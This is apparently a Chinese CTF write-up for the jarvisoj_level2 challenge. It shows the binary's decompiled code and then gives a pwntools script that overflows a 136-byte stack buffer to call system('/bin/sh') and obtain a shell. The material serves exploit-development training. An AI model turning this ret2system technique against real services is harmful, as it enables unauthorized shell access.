jarvisoj_level2
题目链接:jarvisoj_level2。
下载附件后,使用 IDA 反编译,定位到 main 函数,如下。
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
vulnerable_function 函数如下。
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 0x100u);
}
通过调试可以发现,在 read 函数中存在溢出,并且程序自带了 system 函数,同时存在字符串 "/bin/sh"。

因此,直接通过栈溢出,修改程序跳转到 system 函数,并传入参数字符串 "/bin/sh",即可 Get Shell。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .data:0804A024 hint db '/bin/sh',0
sa("Input:\n", (0x88 + 0x4) * b"a" + p32(ELF_FILE.plt['system']) + p32(0x0) + p32(0x0804A024))
irt()
pwn()

浙公网安备 33010602011771号